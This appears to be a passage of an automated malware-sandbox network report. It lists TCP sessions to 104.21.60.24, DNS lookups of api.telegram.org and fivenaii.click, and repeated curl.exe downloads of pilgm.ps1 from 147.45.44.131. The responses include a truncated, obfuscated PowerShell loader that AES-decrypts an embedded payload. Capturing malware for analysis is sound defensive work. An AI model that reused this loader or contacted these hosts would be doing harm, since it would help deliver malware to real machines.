Dec 27, 2024 22:33:34.063033104 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.063116074 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.063178062 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.077510118 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.077573061 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.077671051 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.077987909 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.078006029 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.106542110 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.106626034 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.106703043 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.106962919 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:34.106988907 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.300040007 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.300276995 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.303719044 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.303740025 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.304661989 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.307945967 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.308089972 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.308149099 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.326426983 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.326498032 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.327553988 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.327574968 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.327941895 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.328984022 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.329796076 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.329832077 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.329950094 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.329981089 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330097914 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.330189943 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330317974 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.330352068 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330526114 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.330568075 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330746889 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.330795050 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330806971 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.330852985 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.330966949 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.331027031 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.371345997 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.371576071 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.371709108 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.371764898 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.415363073 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.415848017 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.415967941 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.416011095 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.452128887 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:35.452156067 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:35.775448084 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:36.108716965 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:36.108971119 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:36.109031916 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:36.109121084 CET	49770	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:36.109142065 CET	443	49770	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:36.162051916 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:36.162113905 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:36.162236929 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:36.162513018 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:36.162525892 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.378210068 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.378299952 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.379529953 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.379539967 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.379869938 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.381062031 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.381197929 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.381236076 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.381304026 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.381310940 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.756566048 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.756855011 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.757574081 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.757658958 CET	49771	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.757688046 CET	443	49771	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.762808084 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.762871027 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:37.762964964 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.763248920 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:37.763266087 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:38.174963951 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:38.175251007 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:38.175472021 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:38.175770044 CET	49772	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:38.175786972 CET	443	49772	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:38.261219025 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:38.261265039 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:38.261346102 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:38.261667013 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:38.261678934 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.029263973 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.029433012 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.067980051 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.068006039 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.068932056 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.084702969 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.084741116 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.084892988 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.528970957 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.529055119 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.530916929 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.530931950 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.531279087 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.533454895 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.533544064 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.533551931 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.826833010 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.826944113 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:39.827014923 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.827186108 CET	49773	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:39.827203989 CET	443	49773	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:40.317163944 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:40.317444086 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:40.317517042 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:40.317606926 CET	49774	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:40.317630053 CET	443	49774	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:40.582273006 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:40.582307100 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:40.582422972 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:40.582799911 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:40.582809925 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.877209902 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.877377033 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.878696918 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.878710985 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.879154921 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.880471945 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881293058 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881341934 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.881458998 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881493092 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.881597996 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881647110 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.881767035 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881802082 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.881952047 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.881983042 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.882131100 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.882163048 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.882170916 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.882304907 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.882323980 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.927330017 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.927541018 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.927591085 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.927603960 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.975339890 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:41.975580931 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.975619078 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:41.975636959 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:42.023333073 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:42.023535967 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:42.071343899 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:42.242402077 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:44.137309074 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:44.137588978 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:44.137674093 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:44.137873888 CET	49775	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:44.137911081 CET	443	49775	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:44.142843008 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:44.142918110 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:44.143013000 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:44.143285036 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:44.143309116 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:45.407505035 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:45.407596111 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:45.408843040 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:45.408850908 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:45.409164906 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:45.410346985 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:45.410367966 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:45.410439014 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:46.187438965 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:46.187699080 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:46.187891006 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:46.187957048 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:46.187989950 CET	443	49776	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:46.188018084 CET	49776	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:46.188034058 CET	443	49776	104.21.60.24	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 22:32:56.205391884 CET	58819	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:32:56.342873096 CET	53	58819	1.1.1.1	192.168.2.4
Dec 27, 2024 22:33:11.505251884 CET	61095	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:33:11.819262981 CET	53	61095	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 22:32:56.205391884 CET	192.168.2.4	1.1.1.1	0xb8c4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:33:11.505251884 CET	192.168.2.4	1.1.1.1	0xb81	Standard query (0)	fivenaii.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 22:32:56.342873096 CET	1.1.1.1	192.168.2.4	0xb8c4	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:33:11.819262981 CET	1.1.1.1	192.168.2.4	0xb81	No error (0)	fivenaii.click	104.21.60.24	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:33:11.819262981 CET	1.1.1.1	192.168.2.4	0xb81	No error (0)	fivenaii.click	172.67.188.180	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

fivenaii.click

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	147.45.44.131	80	7780	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:02.008841038 CET	195	OUT	GET /infopage/pilgm.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Dec 27, 2024 22:33:03.302025080 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:09:39 GMT ETag: "638-62a0d0bb75721" Accept-Ranges: bytes Content-Length: 1592 Data Raw: 0d 0a 24 59 6d 62 41 20 3d 20 27 7a 7a 66 62 64 65 36 33 48 59 4b 6c 61 4e 30 54 6f 6c 6f 6d 78 48 70 64 67 51 73 45 46 50 53 73 4b 49 51 4e 6e 2b 5a 54 45 69 77 3d 27 0d 0a 24 53 47 62 35 20 3d 20 27 63 6f 33 44 38 75 64 37 53 47 30 50 6b 4a 6c 6b 62 57 42 46 78 51 3d 3d 27 0d 0a 24 32 66 4a 70 20 3d 20 27 6f 30 58 57 35 5a 37 2b 2f 55 6b 41 54 42 58 38 73 54 79 4e 4f 39 4c 4c 63 41 4a 47 73 6f 67 34 5a 2b 34 37 6e 70 35 69 47 35 6d 79 65 42 51 4b 47 61 37 4f 69 53 47 61 73 70 36 4e 69 7a 45 54 42 58 48 6e 6b 49 6c 63 2f 4a 33 38 61 50 4c 6f 6e 50 2f 70 47 66 33 48 71 36 36 2b 32 62 76 2f 63 66 70 73 68 68 63 58 38 48 6d 70 70 65 7a 46 46 6e 6e 4f 77 6c 73 42 4c 44 41 63 4c 49 4a 79 79 73 46 52 6a 71 61 39 63 74 65 72 51 32 74 4d 48 4a 45 45 76 2b 62 43 6d 2b 79 73 35 52 4c 64 6a 44 57 49 6e 59 36 75 75 46 56 69 68 5a 4c 71 6b 64 63 33 49 64 39 6a 63 4e 4d 73 4c 71 47 48 54 38 63 6b 6e 50 43 69 37 77 6b 72 55 52 2f 6d 6a 43 30 47 67 6b 30 6c 77 79 34 62 78 64 52 41 63 77 43 62 6d 6d 4a 30 65 70 33 [TRUNCATED] Data Ascii: $YmbA = 'zzfbde63HYKlaN0TolomxHpdgQsEFPSsKIQNn+ZTEiw='$SGb5 = 'co3D8ud7SG0PkJlkbWBFxQ=='$2fJp = 'o0XW5Z7+/UkATBX8sTyNO9LLcAJGsog4Z+47np5iG5myeBQKGa7OiSGasp6NizETBXHnkIlc/J38aPLonP/pGf3Hq66+2bv/cfpshhcX8HmppezFFnnOwlsBLDAcLIJyysFRjqa9cterQ2tMHJEEv+bCm+ys5RLdjDWInY6uuFVihZLqkdc3Id9jcNMsLqGHT8cknPCi7wkrUR/mjC0Ggk0lwy4bxdRAcwCbmmJ0ep3LQVIQyOptXO9gXE/dzsGuIpdxDQbaXwzcIAqgpqnenHUOMv3cilCoyUdaaSRewmex+DM1QoA6PmkZZLEQrkrDpW3vem/bKOFvrgnuR2C8IyGBHEvmsCJqTCkf2jq3NfmjDqnsS5QLZCuazft30vziIumSGfvrYyWAd5OJP1YXQde59s21K1WY0NQn6n0+rnGUJT64wF5ylX8Kxv1keWC/rV4Ugf7fTpfRwKPgLwf/Z650DCiv+jkc2YubbaE+XIjFQ9NBBNOKgmhnmhOLce3sSiDJmXlZU++MmxIY0wwzd1P8M3InRE4NQqu90QnBj0JmLlbt3MJVBsDMEPfn8GLUcE6Cskc1o7ASk9TIsPmmKpBnEyWcUxQYPlt4syzxOD3AkEcuXcbzzT52K7HZbSLz'function etCc ($azvH, $YmbA, $SGb5) { $NWby = [Convert]::FromBase64String($YmbA) $zlhV = [Convert]::FromBase64String($SGb5) $aWSD = [Convert]::FromBase64String($azvH) $GyiY = [System.Security.Cryptography.Aes]::Create() $GyiY.Key = $NWby [TRUNCATED]
Dec 27, 2024 22:33:03.302047014 CET	561	IN	Data Raw: 56 0d 0a 20 20 20 20 24 47 79 69 59 2e 50 61 64 64 69 6e 67 20 3d 20 5b 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 61 64 64 69 6e 67 4d 6f 64 65 5d 3a 3a 50 4b 43 53 37 0d 0a 20 20 20 20 24 4b 52 32 Data Ascii: V $GyiY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $KR29 = $GyiY.CreateDecryptor($GyiY.Key, $GyiY.IV) $aHGE = New-Object System.IO.MemoryStream(, $aWSD) $dqtj = New-Object System.Security.Cryptography.Crypt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	147.45.44.131	80	7888	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:02.362827063 CET	195	OUT	GET /infopage/pilgm.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Dec 27, 2024 22:33:03.602217913 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:09:39 GMT ETag: "638-62a0d0bb75721" Accept-Ranges: bytes Content-Length: 1592 Data Raw: 0d 0a 24 59 6d 62 41 20 3d 20 27 7a 7a 66 62 64 65 36 33 48 59 4b 6c 61 4e 30 54 6f 6c 6f 6d 78 48 70 64 67 51 73 45 46 50 53 73 4b 49 51 4e 6e 2b 5a 54 45 69 77 3d 27 0d 0a 24 53 47 62 35 20 3d 20 27 63 6f 33 44 38 75 64 37 53 47 30 50 6b 4a 6c 6b 62 57 42 46 78 51 3d 3d 27 0d 0a 24 32 66 4a 70 20 3d 20 27 6f 30 58 57 35 5a 37 2b 2f 55 6b 41 54 42 58 38 73 54 79 4e 4f 39 4c 4c 63 41 4a 47 73 6f 67 34 5a 2b 34 37 6e 70 35 69 47 35 6d 79 65 42 51 4b 47 61 37 4f 69 53 47 61 73 70 36 4e 69 7a 45 54 42 58 48 6e 6b 49 6c 63 2f 4a 33 38 61 50 4c 6f 6e 50 2f 70 47 66 33 48 71 36 36 2b 32 62 76 2f 63 66 70 73 68 68 63 58 38 48 6d 70 70 65 7a 46 46 6e 6e 4f 77 6c 73 42 4c 44 41 63 4c 49 4a 79 79 73 46 52 6a 71 61 39 63 74 65 72 51 32 74 4d 48 4a 45 45 76 2b 62 43 6d 2b 79 73 35 52 4c 64 6a 44 57 49 6e 59 36 75 75 46 56 69 68 5a 4c 71 6b 64 63 33 49 64 39 6a 63 4e 4d 73 4c 71 47 48 54 38 63 6b 6e 50 43 69 37 77 6b 72 55 52 2f 6d 6a 43 30 47 67 6b 30 6c 77 79 34 62 78 64 52 41 63 77 43 62 6d 6d 4a 30 65 70 33 [TRUNCATED] Data Ascii: $YmbA = 'zzfbde63HYKlaN0TolomxHpdgQsEFPSsKIQNn+ZTEiw='$SGb5 = 'co3D8ud7SG0PkJlkbWBFxQ=='$2fJp = 'o0XW5Z7+/UkATBX8sTyNO9LLcAJGsog4Z+47np5iG5myeBQKGa7OiSGasp6NizETBXHnkIlc/J38aPLonP/pGf3Hq66+2bv/cfpshhcX8HmppezFFnnOwlsBLDAcLIJyysFRjqa9cterQ2tMHJEEv+bCm+ys5RLdjDWInY6uuFVihZLqkdc3Id9jcNMsLqGHT8cknPCi7wkrUR/mjC0Ggk0lwy4bxdRAcwCbmmJ0ep3LQVIQyOptXO9gXE/dzsGuIpdxDQbaXwzcIAqgpqnenHUOMv3cilCoyUdaaSRewmex+DM1QoA6PmkZZLEQrkrDpW3vem/bKOFvrgnuR2C8IyGBHEvmsCJqTCkf2jq3NfmjDqnsS5QLZCuazft30vziIumSGfvrYyWAd5OJP1YXQde59s21K1WY0NQn6n0+rnGUJT64wF5ylX8Kxv1keWC/rV4Ugf7fTpfRwKPgLwf/Z650DCiv+jkc2YubbaE+XIjFQ9NBBNOKgmhnmhOLce3sSiDJmXlZU++MmxIY0wwzd1P8M3InRE4NQqu90QnBj0JmLlbt3MJVBsDMEPfn8GLUcE6Cskc1o7ASk9TIsPmmKpBnEyWcUxQYPlt4syzxOD3AkEcuXcbzzT52K7HZbSLz'function etCc ($azvH, $YmbA, $SGb5) { $NWby = [Convert]::FromBase64String($YmbA) $zlhV = [Convert]::FromBase64String($SGb5) $aWSD = [Convert]::FromBase64String($azvH) $GyiY = [System.Security.Cryptography.Aes]::Create() $GyiY.Key = $NWby [TRUNCATED]
Dec 27, 2024 22:33:03.602278948 CET	561	IN	Data Raw: 56 0d 0a 20 20 20 20 24 47 79 69 59 2e 50 61 64 64 69 6e 67 20 3d 20 5b 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 61 64 64 69 6e 67 4d 6f 64 65 5d 3a 3a 50 4b 43 53 37 0d 0a 20 20 20 20 24 4b 52 32 Data Ascii: V $GyiY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $KR29 = $GyiY.CreateDecryptor($GyiY.Key, $GyiY.IV) $aHGE = New-Object System.IO.MemoryStream(, $aWSD) $dqtj = New-Object System.Security.Cryptography.Crypt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	147.45.44.131	80	7956	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:02.730586052 CET	195	OUT	GET /infopage/pilgm.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Dec 27, 2024 22:33:04.075124979 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:09:39 GMT ETag: "638-62a0d0bb75721" Accept-Ranges: bytes Content-Length: 1592 Data Raw: 0d 0a 24 59 6d 62 41 20 3d 20 27 7a 7a 66 62 64 65 36 33 48 59 4b 6c 61 4e 30 54 6f 6c 6f 6d 78 48 70 64 67 51 73 45 46 50 53 73 4b 49 51 4e 6e 2b 5a 54 45 69 77 3d 27 0d 0a 24 53 47 62 35 20 3d 20 27 63 6f 33 44 38 75 64 37 53 47 30 50 6b 4a 6c 6b 62 57 42 46 78 51 3d 3d 27 0d 0a 24 32 66 4a 70 20 3d 20 27 6f 30 58 57 35 5a 37 2b 2f 55 6b 41 54 42 58 38 73 54 79 4e 4f 39 4c 4c 63 41 4a 47 73 6f 67 34 5a 2b 34 37 6e 70 35 69 47 35 6d 79 65 42 51 4b 47 61 37 4f 69 53 47 61 73 70 36 4e 69 7a 45 54 42 58 48 6e 6b 49 6c 63 2f 4a 33 38 61 50 4c 6f 6e 50 2f 70 47 66 33 48 71 36 36 2b 32 62 76 2f 63 66 70 73 68 68 63 58 38 48 6d 70 70 65 7a 46 46 6e 6e 4f 77 6c 73 42 4c 44 41 63 4c 49 4a 79 79 73 46 52 6a 71 61 39 63 74 65 72 51 32 74 4d 48 4a 45 45 76 2b 62 43 6d 2b 79 73 35 52 4c 64 6a 44 57 49 6e 59 36 75 75 46 56 69 68 5a 4c 71 6b 64 63 33 49 64 39 6a 63 4e 4d 73 4c 71 47 48 54 38 63 6b 6e 50 43 69 37 77 6b 72 55 52 2f 6d 6a 43 30 47 67 6b 30 6c 77 79 34 62 78 64 52 41 63 77 43 62 6d 6d 4a 30 65 70 33 [TRUNCATED] Data Ascii: $YmbA = 'zzfbde63HYKlaN0TolomxHpdgQsEFPSsKIQNn+ZTEiw='$SGb5 = 'co3D8ud7SG0PkJlkbWBFxQ=='$2fJp = 